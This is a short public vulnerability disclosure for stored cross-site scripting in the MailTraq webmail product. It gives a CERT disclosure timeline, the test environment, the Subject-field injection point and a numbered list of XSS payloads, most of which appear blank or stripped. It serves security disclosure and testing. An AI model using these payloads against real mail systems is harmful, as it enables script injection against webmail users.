#!/usr/bin/python
'''
Author: loneferret of Offensive Security
Product: MailTraq
Version: 2.17.3.3150(Mar 5th, 2012)
Vendor Site: http://www.mailtraq.com/
Software Download: http://www.mailtraq.com/30day
Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure
Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9
Injection Point: Subject
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->">'>=&{}
2: ">'>=&{}
2: 3: 4: 5:
6:
7:
8:
![]()
9:
10:
